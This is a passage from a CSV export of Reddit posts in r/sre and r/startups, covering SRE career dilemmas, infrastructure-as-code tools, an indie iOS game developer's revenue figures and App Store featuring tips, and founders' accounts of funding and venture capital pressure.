you!",brooksa321,45,8,1608312661,/r/sre/comments/kfpjcm/pipelines_a_free_devopssre_bootcamp/,https://www.reddit.com/r/sre/comments/kfpjcm/pipelines_a_free_devopssre_bootcamp/,self.sre,True,,,,, 12k5ggy,sre,Promoted to Lead SRE last week. Was told yesterday my manager’s position is being eliminated and the other SREs will report to me.,"I was the first SRE hired at the small startup I’ve been at for a little over two years. Since we’ve added a couple of other SREs to the product team, I have been de facto technical lead for SRE because I have the most knowledge about how everything works. They’ve been promising me a promotion to make my status “official”. I have been telling everyone who had asked that I have no interest in being a people manager. My interest lies in staying technical and technical leadership being where I want my career to go eventually. So last week, met with the VP of Engineering. “Congrats! We’re promoting you to Lead SRE! You’ve been doing the job for a long time, but now you have the title you’ve deserved.” He even asked me _again_ if I wanted to be a people manager. Yesterday, my manager told me that I would no longer be reporting to him. I’m reporting to the VP of Engineering and the other SREs would report to me. And he was going to have to find another role in the company or leave. And I didn’t have a choice in the matter. I also found out I’m not the only person put in this position. I’m curious if anyone else has been in this kind of situation. How did it work out for you? We’re there any resources you found to be especially helpful? I have no background in business. I’m going to be polishing up my resume and LinkedIn because I don’t have a lot of warm and fuzzy feelings about this. I prefer technical work and I was already getting stretched thin trying to keep other people in the business from derailing our work with “quick wins” (that are never quick) and minimizing interruptions for the team. EDIT: I have already been officially promoted and given the raise effective 1 Apr. I don’t know how my salary compares to managers, but my previous manager told me I was pretty much topped out for salary at this point. The company is pretty cheap and really don’t want to pay market rates for people, but my salary is comparable to principal SREs in my area going by Glassdoor and levels.fyi, but not in total comp.",SoYoureSayingQuit,44,33,1681345651,/r/sre/comments/12k5ggy/promoted_to_lead_sre_last_week_was_told_yesterday/,https://www.reddit.com/r/sre/comments/12k5ggy/promoted_to_lead_sre_last_week_was_told_yesterday/,self.sre,True,,,,, oy76w1,sre,Dev focused SREs do not want to take on operational tasks,"Hi, I work in team titled SRE but it largely evolved from an Operations team and I am more an Ops focused Sys Admin and not a developer. Following Google's example, the company is hiring developers in SRE roles, but the frustrating thing is the new hires get bored with operations tasks, and they rather spend time working on software projects that barely chip at the edges of the ops tasks while avoiding the ops work altogether and letting it all fall on my shoulder... so I am busier than ever doing ops work and unable to pick up on automation projects on my own. Is this your experience? I fully understand why developers hate ops work, so does it make sense to get developers to do ops work? Or are we doing it wrong? Eg the services we manage are java/oracle based, but we are hiring developers with python/golang experience and no experience with java/oracle. Should the correct hires be java/oracle developers?",red_flock,44,39,1628126893,/r/sre/comments/oy76w1/dev_focused_sres_do_not_want_to_take_on/,https://www.reddit.com/r/sre/comments/oy76w1/dev_focused_sres_do_not_want_to_take_on/,self.sre,True,,,,, n69iyv,sre,"SigNoz - Open source alternative to DataDog, New Relic || v0.2.0 Released with external API and DB calls monitoring",,pranay01,44,0,1620313919,/r/sre/comments/n69iyv/signoz_open_source_alternative_to_datadog_new/,https://github.com/SigNoz/signoz/releases/tag/0.2.0,github.com,False,,,,, vuaurf,sre,My Favorite Things About SRE,"Just wanted to mix up the conversations on here and thought I'd like to see why other's love/hate SRE. For me personally, I'm a big fan of SRE. It plays right into my love of analytics and data-driven decisions. A few of my favorite topics/areas of SRE include: \- Using root cause reports to drive change in the organization \- Using metrics and data to validate decisions and drive discussions \- Using Error Budgets and SLOs to squash statements like, ""it seems slow"" or ""it's not going to be performant enough"" \- Working cross-functionally with engineers and stakeholders to define SLOs and getting everyone rowing in the same direction \- Eliminating on-call escalations, which provides relief to engineers. Always love when I can say, ""Our on call rotation is supported by runbooks, multiple engineers, and we always use retrospectives to eliminate a repeat escalation."" What are others doing in their organizations that is making them love SRE? (or if you're hating it, I'd love to hear why!)",MrHodd,44,19,1657287064,/r/sre/comments/vuaurf/my_favorite_things_about_sre/,https://www.reddit.com/r/sre/comments/vuaurf/my_favorite_things_about_sre/,self.sre,True,,,,, p6nuc9,sre,Pulumi vs. Terraform,"Hey all, Still looking into IaC, and talking to my team specifically about Pulumi. Curious and interested in what you folks think/experience… My basic take is that it has got a lot of similarities with Terraform, the key difference being that Pulumi allows you to write IaC in standard programming languages (and NOT necessarily HCL…) I find it super appealing that developers can easily write IaC as well without a lot of new training. In any case, Pulumi or Terraform, for many it is a great step to move away from needing to stick to YAML/json scripts. Nana has a [great overview of Pulumi](https://youtu.be/vIjeiDcsR3Q), as always super clear, giving also some simple demos. [This article](https://build5nines.com/beginners-guide-to-pulumi-ci-cd-pipelines/) has also a quick overview. Wonder what people here prefer, Terraform or Pulumi? What are the major ups/downs respectively? Thanks!",Eskil_avelon,44,61,1629279440,/r/sre/comments/p6nuc9/pulumi_vs_terraform/,https://www.reddit.com/r/sre/comments/p6nuc9/pulumi_vs_terraform/,self.sre,True,,,,, 7ek1du,startups,"The ability to quickly start and succeed with a startup relies upon a neutral net. Today, you need to protect that. Click here now.",,GaryARefuge,2418,37,1511289436,/r/startups/comments/7ek1du/the_ability_to_quickly_start_and_succeed_with_a/,https://www.battleforthenet.com/?utm_source=AN&utm_medium=email&utm_campaign=BFTNCallTool&utm_content=voteannouncement&ref=fftf_fftfan1120_30&link_id=0&can_id=185bf77ffd26b044bcbf9d7fadbab34e&email_referrer=email_265020&email_subject=net-neutrality-dies-in-one-month-unless-we-stop-it,battleforthenet.com,False,,,,, 4f74dv,startups,Quit my full time corporate job. Built an iOS game. It became #1 in the App Store. Here are revenue numbers and what I learned.,"## TL;DR Made a little over $700k selling a premium mobile game with no IAP or Ads as a one man shop. It _is_ possible to create sustainable income from apps (albeit very difficult). **[Part 2 is here.](https://www.reddit.com/r/startups/comments/4g935t/part_2_quit_my_full_time_corporate_job_built_an/)** ## Background **I'm [writing a book that goes into details](http://leanpub.com/survivingtheappstore) about all this. 10% of proceeds goes to a charity that helps kids learn to code.** I build all my games using [RubyMotion](http://www.rubymotion.com/). [My friend](https://www.reddit.com/r/startups/comments/4ck1et/thoughts_and_lessons_learned_from_bootstrapping_a/) said it would be good to post my story here. I built an iOS app called [A Dark Room](https://itunes.apple.com/us/app/a-dark-room/id736683061?mt=8) that hit the #1 spot in the App Store. Here is the [article The New Yorker](http://www.newyorker.com/tech/elements/a-dark-room-the-best-selling-game-that-no-one-can-explain) wrote about it. Other accolades that establish some sort of precedence to what I'm about to share: - 2.26 million downloads in under two years (free and paid combined). - \#1 game in the US for 18 days straight (20 days overall). - 26,859 ratings of which 23,833 are 5-stars (4.73 average rating). - Publications in [Huffington Post](http://www.huffingtonpost.com/2014/05/01/a-dark-room-iphone-game_n_5241335.html), [Slate](http://www.slate.com/blogs/future_tense/2014/05/21/a_dark_room_the_cormac_mccarthy_of_text_based_iphone_games.html), and [The New Yorker](http://www.newyorker.com/tech/elements/a-dark-room-the-best-selling-game-that-no-one-can-explain). - Richard Garriott (creator of Ultima Online) talks about [A Dark Room](http://amirrajan.net/assets/images/a-dark-room-richard-garriott.mp3) on [Axe of the Blood God](https://soundcloud.com/usgamernet/axe-of-the-blood-god-episode-2) - Reviewed on [Touch Arcade](http://toucharcade.com/2014/06/03/a-dark-room-review/) (4 stars) and [Cult of Mac](http://www.cultofmac.com/277118/dark-room-lights-app-store-big-heart-open-world/) (5 stars) ##**YTD Revenue of all my Games** [Here is a graph of revenue for all my iOS Games](http://imgur.com/HAeWT2N). Here is a breakdown: ###A Dark Room Year 1 These numbers are from [last year's developer logs](http://amirrajan.net/a-dark-room/#oneyear): [ Month ] | [ Paid Downloads ] | [ Free Downloads ] | [ Apple Check ] | :----------- | -----------------: | -----------------: | --------------: | Nov 2013 | 403 | | 555 | Dec 2013 | 698 | | 943 | Jan 2014 | 986 | | 1,320 | Feb 2014 | 2,288 | 8,612 | 1,760 | Mar 2014 | 15,428 | 15,172 | 11,600 | Apr 2014 | 305,000 | | 214,000 | May 2014 | 237,000 | | 166,000 | Jun 2014 | 101,000 | | 70,700 | Jul 2014 | 29,526 | 5,110 | 22,200 | Aug 2014 | 38,304 | 1,021,660 | 28,800 | Sep 2014 | 28,400 | | 19,900 | Oct 2014 | 14,900 | | 10,100 | [ Month ] | [ Amount ] | :-------------------------------------------------------- | ---------: | Gross income (less Apple's share) | 553,000 | My half of ADR (I happily give Michael* his share) | 276,500 | 33% income tax | 91,245 | 12% self employment tax | 33,120 | Net | 152,135 | *He created the original web version of A Dark Room A Dark Room went viral in UK and US. It was the #1 premium, ""free to play app"" in the US for 18 days straight (with no feature/marketing from Apple). ###A Dark Room Year 2 [ Month ] | [ Paid Downloads ] | [ Free Downloads ] | [ Apple Check ] | :----------- | -----------------: | -----------------: | --------------: | Nov 2014 | 5,040 | 134,959 | 3,790 | Dec 2014 | 60,600 | | 41,500 | Jan 2015 | 30,700 | | 21,420 | Feb 2015 | 47,100 | | 32,700 | Mar 2015 | 12,200 | | 8,220 | Apr 2015 | 9,180 | | 6,290 | May 2015 | 9,460 | | 6,940 | Jun 2015 | 4,820 ($1.99) | | 6,630 | Jul 2015 | 3,670 ($1.99) | | 4,430 | Aug 2015 | 4,070 ($0.99) | | 2,080 | Sep 2015 | 10,800 | | 6,970 | Oct 2015 | 4,800 | 62,000 | 3,300 | [ Month ] | [ Amount ] | :-------------------------------------------------------- | ---------: | Gross income (less Apple's share) | 144,270 | My half of ADR (I happily give Michael his share) | 72,135 | 33% income tax | 23,804 | 12% self employment tax | 8,656 | Net | 39,675 | I took up contract work because of the volatility of the App Store (which is why my income tax is still at 33%). Interestingly (and again for reasons unknown), A Dark Room went viral in the UK Dec 2014. The experience and length of the virility was similar to [last time](http://amirrajan.net/a-dark-room/#minecraft), but didn't have the long running side effect of going viral in the US. Originally, I figured that ADR being #1 in the UK somehow triggered its rise to the #1 spot in the US. Turns out that's not the case. ###The Ensign Year 1 Around August of 2014, I released a prequel to A Dark Room called The Ensign. I loved traversing the dusty path, and wanted an extremely difficult, ""Dark Souls like"" experience. [Mission accomplished](http://killscreendaily.com/articles/ensign/), here are the numbers: [ Month ] | [ Paid Downloads ] | [ Free Downloads ] | [ Apple Check ] | :----------- | -----------------: | -----------------: | --------------: | Aug 2014 | 16,600 | | 11,600 | Sep 2014 | 9,800 | | 6,880 | Oct 2014 | 4,500 | | 3,170 | Nov 2014 | 3,650 | | 2,610 | Dec 2014 | 6,600 | | 4,540 | Jan 2015 | 4,990 | | 3,470 | Feb 2015 | 5,750 | | 3,990 | Mar 2015 | 3,310 | | 2,290 | Apr 2015 | 2,630 | | 1,810 | May 2015 | 2,620 | 41,000 | 1,820 | Jun 2015 | 2,230 ($1.99) | | 3,080 | Jul 2015 | 4,250 ($1.99) | | 4,410 | Aug 2015 | 1,270 ($1.99) | | 1,885 | Sep 2015 | 2,340 ($0.99) | 9,700 | 1,580 | Oct 2015 | 1,440 | 10,100 | 980 | [ Month ] | [ Amount ] | :-------------------------------------------------------- | ---------: | Gross income (less Apple's share) | 54,115 | 33% income tax | 17,857 | 12% self employment tax | 6,493 | Net | 29,765 | The prequel is doing alright. It did extremely well the first month (it was featured by Apple... unsolicited). I expect The Ensign sales to stay at ~25% of A Dark Room sales. ###A Noble Circle Year 1 (so far) [ Month ] | [ Paid Downloads ] | [ Free Downloads ] | [ Apple Check ] | :----------- | -----------------: | -----------------: | --------------: | Apr 2015 | | 3,670 | | May 2015 | | 4,700 | | Jun 2015 | | 2,500 | | Jul 2015 | 1,360 | 1,200 | 948 | Aug 2015 | 675 | | 469 | Sep 2015 | 6,580 | 1,380 | 3,570 | Oct 2015 | 844 | 209 | 582 | [ Month ] | [ Amount ] | :-------------------------------------------------------- | ---------: | Gross income (less Apple's share) | 5,569 | 33% income tax | 1,837 | 12% self employment tax | 668 | Net | 3,064 | A Noble Circle is a new game I'm working on. I took a different approach with this game, being that I released a _barely_ playable version for free. I wanted to get something out there, and show my next idea. It has been received really well. After e months of free downloads, I made it a for pay app, and am _still_ working on it. The reviews are still very supportive, and are happy with the purchase (even though it's an unfinished product). There was a significant spike in September because Apple featured me under Best New Game Updates. It took a ton of work to build that relationship with Apple (and get this feature). Of course, the number dropped right afterwards. It remains to be seen if A Noble Circle will be as successful as ADR or TE, but I think it's too early to tell at this point (especially since I have many many opportunities to get this app featured). With regards to getting assigned a direct Apple contact. ##**Getting featured by Apple Do's and Dont's** ##The Ugly Publishers are not created equal. It's something I learned very quickly when trying to understand the App Store feature mechanics. If you are Warner Brothers, SquareEnix, Kim Kardashian, King, etc, you get a red carpet to getting featured. You can release whatever trash or shoddy port you want, and you'll get featured. So you have two options, accept this and **play by the rules I'm about to lay out, or don't participate**. ##A List of Do's and Dont's Here's the list of tips. You _really_ need to do all these things. It's how you show Apple that they can take you seriously as a game developer. ###Do: App Preview Video Your game needs a preview video. Without a preview video, you significantly limit your chances of getting featured. There are plenty of examples of good preview videos out there, so make one for your game if you are serious about getting featured. ###Do: Good App Description and Screenshots Your game needs to have a compelling description and good screenshots. Look at other featured apps to see what constitutes a good app description and screenshots. ###Do: Localized? Is your app localized? It isn't? Good luck getting a feature (this is the primary thing that's keeping A Dark Room from being considered for anything other than the Best New Game Updates category). ###Do: Email _After_ Your App Is Approved Make sure your game is already sitting in the ""Ready For Release by Developer"". You need to give Apple at least three weeks of lead time for feature consideration. Even if you have an incredible game, if you only give Apple a couple day's notice, you wont get featured. ###Don't: Releasing During a Holiday Week Don't submit feature requests during holiday weeks (unless your game is holiday themed in nature). There is so much competition against AAA game companies along with an influx of shovelware related to holiday X. You'll just be lost in the noise, so take those months to do polish releases, minor bug fixes, etc. Don't release during New Years, Valentines, Christmas, Thanksgivings, etc. ###Don't: It's Your First App Apple wants to showcase developers that have experience. If this is your first app/game, it's unlikely you'll get a feature (unless the app is exceptional). ###Don't: Spinoffs/Clones If you're going to pitch ""Crossy Road, BUT BETTER!!"", just don't bother. It's a great way to get immediately dismissed. ###Do: Buy Featured Games (Know Your Competition) If you don't buy featured apps, how can you objectively tell if your app can compete? You don't have to buy apps by AAA companies, just apps by other indie devs. Here's my list: - Monument Valley - Hoplite - Alto's Journey - You Must Build a Boat - A Dark Room - Device 6 - The Room - Downwell - Her Story - ALONE... - Plague Inc. - Lifeline... - Superbrothers: Sword & Sworcery EP - Desert Golf - Deemo - Cytus - Tiny Wings - Leo's Fortune - Sometimes You Die - Blek - Dark Echo - Piloteer - Prune ###Do: Use New Apple Features Using these techs will help you get Apple's attention: - SceneKit - SpriteKit - 3D Touch - Replays - Apple Watch - Apple TV - Game Center ###Do: Release Every Six Weeks Apple wants to see apps that are updated frequently. If you don't get featured as a new game. Don't lose too much hope, you can always get featured as an update. Updates should be non-trivial. If you are doing just bug fixes/minor tweaks, you won't get featured for that. So make your updates enticing. Updating (and sending feature requests) too often overloads the Apple team. A six week release cycle seems to be a good sweet spot. ##The Steps To Follow Alright, what all of you have been waiting for. Here are my recommended steps to follow for getting featured. ###1. Consider All the Do's and Dont's You really need to take all the do's and dont's seriously. My contact at Apple has been very consistent with what the editorial team is looking for. And when I ask him ""Hey, I did a major updates, why didn't I get featured?!"" In my case it was ""You need to localized. You need a preview video"". **So don't waste their time if you're not going to do the things in the list. Sending a Hail Mary to Apple without doing some due dilligence is a great way to be blacklisted.** As I said in ""The Ugly"" section. Not all publishers and games are created equal. As a nobody (myself included), you just have to accept that you have to go above and beyond other publishers. So, take the list of tips I've given seriously. I _do_ get some slack from Apple, simply because all my games are highly rated, and I had a viral smash hit. ###2. Pick A Target Feature List Don't swing for Editor's Choice, Indie Game Spotlight, Best New Games, Best New Game Updates, etc. You'll swing and miss miserably. For your first attempt at a feature, pick a minor category. Here is an example. If my game [A Noble Circle](https://itunes.apple.com/us/app/a-noble-circle/id977865620?mt=8) was my first game, I'd target ""Great Game Soundtracks"" under the Music category, and ""Pay Once and Play"" under the RPG category. Every game subcategory has a minor feature section. Target those type of feature lists first. ###3. Craft and Send The Pitch Email Here is an example email that I'd send to Apple. Subject: A Noble Circle [MONTH] Release Body: Territories Available: World Wide iOS Device Target: iPhone 5 and up, iPad Product Title: A Noble Circle Publisher Name: [Name] Apple App Id: [App Id] Desired Live Date: [At least 3 weeks in the future on a Thursday, your app should already be approved by Apple and Waiting Developer Release.] Release Info: - 8 new chapters including many hand drawn pencil sketches to create an immersive narrative. - 2 new custom composed musical scores with original sound track. - Brand new jump mechanic ""wallkick"" will be introduced (this is a very very big deal). - New developer commentary exploring awe and empathy. Languages Supported: EN [you should have more languages] Price: $0.99 App Preview: [the answer to this better be yes] Game Center: [the answer to this better be yes] Game Controller Support: [yes/no] Metal: [yes/no] SpriteKit: [yes/no] SceneKit: [yes/no] WatchKit: [yes/no] Apple TV: [yes/no] Comments: This is an artistic game. It's a simple vertical platformer, but hides a satire about the world we live in now and explores topics such as science, materialism, and gender/social norms. It's a single tap game. No complex controls. A Noble Circle puts a heavy emphasis on musicality and emotional connections. No In-App purchases. No ads. Pay once and Play. Indie Developer title. Just two people: Me and a musical composer. Inspirational and deep story line. Portraying simple graphics, beautiful black and white hand drawn sketches, and an emotional soundtrack. You can use the comments section to showcase all the things you're doing right (such has having multiple games, updating often, etc). Here is where you send the email: appstorepromotion@apple.com. ###4. Send a Follow Up Email Send a short follow up email when it's nearing the release date. ###5. Wait Until The Thursday You Were Supposed to Get Featured On Reflect on why you didn't get featured. See which apps did get featured. Try to understand why. Try not to cry. Go in the corner and cry. ###6. Plan Your Next Release (Which Should Be a Minimum Six Weeks Out) You can submit other games to get featured, just not the game you just sent. ###7. Rinse and Repeat Follow this protocol. For me (even with a #1 app in the App Store). It took _four months of emailing_, before I got a response. ###What To Do If You Get a Response/Get a Minor Feature The response you'll probably get is something along the lines of ""we got your email, thanks"". If you get this response. Keep doing what you're doing. If you get a minor feature, you can then start pitching for front page features under ""Best New Games"", ""Best New Game Updates"", and ""Game Collections"". You have to make stronger cases of course, and your competition will be higher quality games, and bigger shops. But hey, it's progress. ###What To Do If You Get Assigned an Apple Contact After the first four months of email, I emailed for another _two months_ before I got assigned an Apple contact. At this point, you have hit a point where _very_ few people will ever get. Your contact will be your advocate. So you can ease up on the pitch emails. Be short and to the point with your contact emails. Your job (now) is not to pitch anymore, but provide your plans for future updates. They will handle your submissions to the editorial team. ##What Kind of Impact Can You Expect From a Feature A minor feature won't get you much. It's simply a stepping stone to the front page. You'll probably see a small bump. As far as a front page feature, _that_ is a big deal. My best revenue increase was when The Ensign got a second position placement under ""Best New Game Updates"". I saw my downloads increase 5x (to about 700 to 1000 downloads a day for that feature week). It also had a residual effect to all my other games. Which brings me to... ##Disable App Bundles If You Get Featured Unless your feature is because of an app bundle, disable them immediately if you get featured. Creating app bundles is a great way to get your other games noticed. But the download of a bundle doesn't contribute to the individual rank of each game. So if you get a feature, you want to make sure app bundles don't dilute your downloads for the specific game that was featured (lots of downloads means higher ranks). ##Cross Promote You Games Have _tasteful_ interstitials to your other games (hell, Apple even encourages this). Cross promoting your games will help you regardless of whether Apple features you or not. So do it :-) ##Ask For Reviews If you don't ask, people who download your games won't review them. So find the _perfect_ time to request a review. Don't nag them five minutes into your game. See how I did it in A Dark Room, The Ensign, and A Noble Circle. Geometry Dash does a phenomenal job of timing the review request too. Desert Golf does some cute things with sharing accomplishments too. ##**And Finally, How to Make Sustainable Income** ##Buy Other Indie Games/IAP Commit to spending some amount of money per month on indie games and IAP. If an indie game gets featured by Apple, buy it and see what they are doing right. You have to understand the market. If you've never bought a game or IAP, how do you know if you yourself are doing a good job? So, buy games, learn from them, support your fellow indie developers for fuck's sake. ##Build Games That Can Be Played in Short Sessions You want to build ""snack-sized"" experiences for mobile. I play my mobile games on the can (you do it too, don't deny it), during commercial breaks while watching TV, waiting in lines, etc. So build games that can be picked up and put down quickly. This doesn't mean you can't build games with immersive story lines (I've done this ""successfully"" three times). It also doesn't mean you can't build ""sit down"" games like Transistor (they are just less likely to succeed given the nature of this platform). ##Build Games for Mobile You don't have a controller. You have a touch device. Build games that are optimized for simple input/touch. You can still make games that are really smooth/fluid. Take a look at Leo's Fortune, Piloteer, Wayward Sword, Downwell, and Sword of Xolan. The controls for these games are tight and satisfying. You may also want to consider games that are played in portrait mode, one handed. It's one of the reasons why Flappy Bird did well (imho). Other good vertical games are Hoplite, Threes, You Must Build a Boat, 0h h1, and 0h n0. ##Build Games You Can Finish Coding in a Short Period of Time You have to build games that can be completed in two to three months (part time). I use the term ""completed"" loosely however. There is nothing stopping you from updating your games, but something ""complete"" should be released within two to three months. I've seen too many stories about how a couple of guys have spent a year plus on a game and still haven't released anything to the App Store. Don't do this. On this same thread. I'd say have an alpha version of your game ready by week six. Submit this version to the App Store as a soft launch. You don't need to market the release of your game, but at least get through the App Approval Process and get something in the store that you can get early feedback on. If you don't feel it's worth charging for, go ahead and release it for free with a description of ""Early access pricing, get it now while it's free!!"". Don't put any notes when submitting to the App Store that the game is incomplete (you may get rejected for saying that). I can't stress this ""first release"" enough. You need to get something out there. Honestly, you probably won't get any downloads... but life of the app in the App Store does influence rank, so why not get a head start on this? ##Release Every Six Weeks Until You're ""Done"" Assuming you took the advice above, you'll still be working on your game while it's in the store. You'll want to schedule a nice six week rhythm. This accomplishes a few things. You have a sense of urgency for your next release. You know that whatever new game mechanic you want to implement has to be done within this time frame. This forces you to chop things up and really think about what's important and what isn't. For A Noble Circle, I take one six week period to optimize and polish, and another six week period to add new story elements and content. Releasing often keeps your audience coming back to see what's new. Every release of A Noble Circle gets people excited to see what I've added. They will replay old levels to see if I changed anything, and they are more inclined to leave reviews with constructive feedback. I've had people leave negative reviews, and then come back a few releases later and say ""Things are shaping up nicely, good work!"" Releasing often resets the reviews (reviews will get archived with every new release). So you spend less time worrying about a critical review and more time on fixing what they complained about. Releasing often shows Apple that you keep your apps updated ([this will help when it comes time to pitch your app for getting featured](https://www.reddit.com/r/gamedev/comments/3to145/getting_featured_by_apple_by_the_guy_that_built/)). There may come a time where you will get considered for an App Store Feature. Apple loves apps that are constantly updated with new/compelling content. So having a good update history will definitely help you out. You generally don't want to release more often than six weeks for this same reason (you're just overloading the editorial and review teams at this point... so don't do it unless you have a nasty game breaking bug). ##Report Inflammatory Reviews Reviews that are just plain negative (to you or other people) should be reported. Long negative rants aren't great to see on your review page, and frankly Apple doesn't want them showing up either. Here are a few examples of reviews I got for A Dark Room that are eligible for removal (I didn't remove them simply because they are hilarious): >Garbage (1 star): >It’s so nice to have this hive-mind community full of hipsters >and morons raving about the worst goddamn games. Same thing happened >with Angry Birds and Flappy Birds. You people are disgusting. Horrible >unwashed masses of brainless consumers. Hey morons, take a step back >and really consider the piece of crap you rated 5 stars. >No, really, just take a moment. And another one: >What is this? (2 stars): >Before I bought this I was unsure so I looked at the reviews. >They were all glowing which intrigued me, so I downloaded.. >Played for about 2 minutes then deleted it! Absolute load of rubbish, >it's sort of like sims but with no graphics, like a weird text version. >Just utter nonsense how it has so many good reviews! If it was between watching >a blind man trying dismantle a computer and playing this >came I know which one I’d get bored of first! One more: >Absolute scam!! Manipulated reviews!! (1 star): >It's a text based game. That's ALL you get. Nothing like any >review said how fancy and interesting the game play is. I suspect >all the reviews are done by the developer himself using auto generated review. >It is done by developer by purchasing the game himself through >hundreds, if not thousands iTunes account, then give good rating over a period of time. Here is a review that probably won't be taken down if you report it: >Not That Brilliant… (1 star): >The novelty of this game wears down almost immediately after the first time around. >The whole point of this I suppose is to make us introspective and question >particular things in the universe. But as much as this game would like you to think, >you’re not really in control. The fate of the game has pretty much been decided >and no matter what you do there are pre ordained responses that characters like >‘the builder’ will have no matter what. I found that incredibly annoying. I guess it got >the message through to me, but I don’t think of this game as very deep or >thought-provoking. Give me Angry Birds any day and I’ll ponder the >higher meaning of destroying smiling green pigs >while actually believing >that my 1 dollar wasn’t for naught. Nor this one: >Not worth the .99 (1 star): >I beat the game in 2 hours, and the game doesn’t do anything >to reward you for winning. I like the game but it’s >missing depth and replay value. Goes without saying that the take down process is subjective. ##If You Must Do Ads, Do Them Well There are good ways to do ads, and then there are stupid ways. Take a look at how Geometry Dash, Crossy Road, and Threes Free do ads. Each one takes a tasteful approach to. If you want a bit more revenue info with regards to ads, [I've written about it here](http://amirrajan.net/a-dark-room/#alternateuniverse). With regards to an IAPs that remove ads, give the player something additional. There is novel a tower defense game called Bardbarin. It has an IAP that removes ads, but also gives you a special item that buffs gold generation. ##IAP's I'm not a big fan of IAP's (or ads). So really the only thing I can say with regards to them is play League of Legends and see how they monetize. I've spent $100+ dollars on LoL and never have they presented a pop up to get me to buy something. I had a brief moment of weakness when Trials Frontier presented a pop up, so study how they entice you to buy IAP (they do a pretty good job). ##Add a Review Button Add a review button to your games. If you don't ask for reviews, you won't get them. You don't want to do a nag review screen. I've seen too many apps that ask for a review five minutes in... don't do this. Find the perfect time to present a review button and your conversion rate will significantly increase. Geometry Dash and Duet do a great job of this. I'd say my games A Dark Room, The Ensign, and A Noble Circle do a pretty damn good job too. ##Endless Games You don't have to make an endless game. You want to build games that people finish (as opposed to playing a little and deleting). There are games out there that do endless really well, take a look at Desert Golf, Alto's Adventure, and You Must Build a Boat. It's important to realize that length does not equal value, so keep that in mind when deciding on what type of game you build. Regardless, you want your games to leave the player satisfied. Great examples of satisfying games (that aren't endless) are Prune, Monument Valley, Game Dev Story, and (personal plug) A Dark Room. ##Screenshots Have screenshots and if at all possible an App Preview Video. The guy that I used is pretty reasonable about pricing, you can email him at Rule2 Productions: magill.foote@hotmail.com. He did the video for A Noble Circle and Michael's new game [GridLand](https://www.youtube.com/watch?v=xZhdFcoI0Rw). For your screenshots, pair them up with words. Few people actually read the description of your app. Having a screenshot that says ""No IAP's, No Ads"" will get noticed significantly more than having it in the description. Take a look at Blek's screenshots. They do a great job of pairing screenshots with words. ##Promotion Codes Give them away like candy (especially since you're releasing so often). If you reach out to editors or reviewers, just send redemption codes with the initial email you send out. The worst thing you can do is say ""email me back and I'll send you codes."" They won't email you back, and they won't take a look at your game. ##Cloning Other Games Create derivative works. Study games you like and recreate it with your style. Geometry Dash is a great example of a derivative work. You can tell that it's heavily inspired by Impossible Game, but simply does a better job. Another game that (imho) does a better job than the ""original"" game is Sword of Xolan (which ""copied"" Goblin Sword). ##Free Versions Geometry Dash has a free version and a paid versions. Having this kind of offering keeps cloners from trying to capitalize on your success. See what I've done with A Noble Circle - Prologue (free). If you have a complex game, it's unlikely you have to worry about creating a free version. No cloner would take the time to make Monument Valley. But Threes unfortunately got cloned pretty quickly. So be conscious of this dynamic and plan accordingly. It's also worth noting that the App Store customer base is simply divided. There are those that buy games and those that don't. It doesn't seem like they cross over much. [See ADR's moving average after 1 Million free downloads](http://amirrajan.net/a-dark-room/#afteronemillion). So it may be beneficial to provide both versions if that's something that your game can work with. ##Have An Identity You will (hopefully, eventually) find your style. I know exactly what kind of game I will get when I get a game from Bossa Studios (the guys that made Surgeon Simulator and I am Bread). I know exactly what kind of game I'll get when I get a game from Supergiant Games (the guys that made Bastion and Transistor). People who buy my games know exactly what kind of game they will get, too. As an indie game developer, you can capitalize on ""having heart"" (as opposed to the souless AAA companies). Take a look at Space Team (you can ""feel"" the heart this game has, even though it looks unpolished). You want to get to a point where people say ""Oh, Amir built this game. I'm gonna buy it."" Having this kind of identity keeps you from having to create sequels/""franchises"". It gives you the freedom to be creative with other genres. One game won't make you rich. The App Store is extremely volatile and fickle, so you'll need multiple assets to have a good, consistent income. Having an identity that is more than just a game will help with that sustainability. ##Do it for Love Guys and gals, we're lucky. We have the ability to release a game that can be something special to someone living on the other side of the world (with very little monetary investment). Before A Dark Room went viral, I found meaning and success in what I did simply because I inspired some teenagers to get into game development, and brought a great gaming experience to the blind. I find meaning posting and collaborating here. I find meaning in presenting and writing about game development (none of which really generates money). A Noble Circle has modest downloads, but I'm so happy seeing glowing reviews and receiving a single email about how a father and son connected while playing it. So relish in those small wins, they'll make all the work you put into your games worth it (even if your game fails financially...which it probably will). I can only do game development part time (it doesn't pay all the bills), but damn do I have a great time building them.",amirrajan,1603,284,1460908496,/r/startups/comments/4f74dv/quit_my_full_time_corporate_job_built_an_ios_game/,https://www.reddit.com/r/startups/comments/4f74dv/quit_my_full_time_corporate_job_built_an_ios_game/,self.startups,True,,,,, 1fmwkrj,startups,We won 4M in Gov't funding but wife is putting her foot down.,"We are just getting off the ground. We won 4 million in government funding to kick start this business out of university. Been in startups since 2018, but never with this much money. Wife says I will work 24/7 on startup, and basically: ""what is the point of you as a husband at that point?"". She is Hard No and wants me to not pursue funding. we have a new born and a 3 year old. Anyone been through this? Advice?",[deleted],1270,610,1727020660,/r/startups/comments/1fmwkrj/we_won_4m_in_govt_funding_but_wife_is_putting_her/,https://www.reddit.com/r/startups/comments/1fmwkrj/we_won_4m_in_govt_funding_but_wife_is_putting_her/,self.startups,True,,,,, 15p8qrx,startups,My $0->$100m->$0 in 5 years story,"I see a lot of hopefuls here glamorizing VCs and fundraising. Too much survivor bias. Hopefully my story can give you another perspective. Quit my executive job at a FAANG. Started a SaaS as a first time founder. Raised a modest amount (under a million) and got to work alone. Hit a lot of roadblocks but figured things out until I found product market fit. Boy was that lonely. Everyone, and I mean everyone, told me it wouldn’t work. I hired a couple of people who were great but wouldn’t look good on a pitch deck. I didn’t care because I was heads down building, selling, and delivering the product. My small team was amazing. Then the VCs showed up. The same ones who wouldn’t take my call before are now reaching out. I ended up raising a lot of money. Way more than I needed. Biggest mistake I made but I’ll get to that later. The VC wanted me to grow faster and gave me impossible targets to hit. When I gently protested, he’d introduce me to founders in his portfolio to talk to and see how they did it. I realized later that those 2 founders were the only founders in his 100+ portfolio who hit those targets. More importantly, I’m his third biggest company! But he’d never give me a chance to feel that way because they’re in the business of making you work till you drop, not in celebrating your “great” success. They want the most success. Anyway, by then I had over $10m in the bank for a startup of 5 people making low 7 figures from well established and extremely happy customers. Things couldn’t be better. At least that’s what I think now I’m hindsight. The VCs want you to be a rocket ship. Being content with this is their worst situation because now you’d be paid well and doing what you love while they are waiting for you to cash out. If they don’t push you to hate this status quo, you’ll 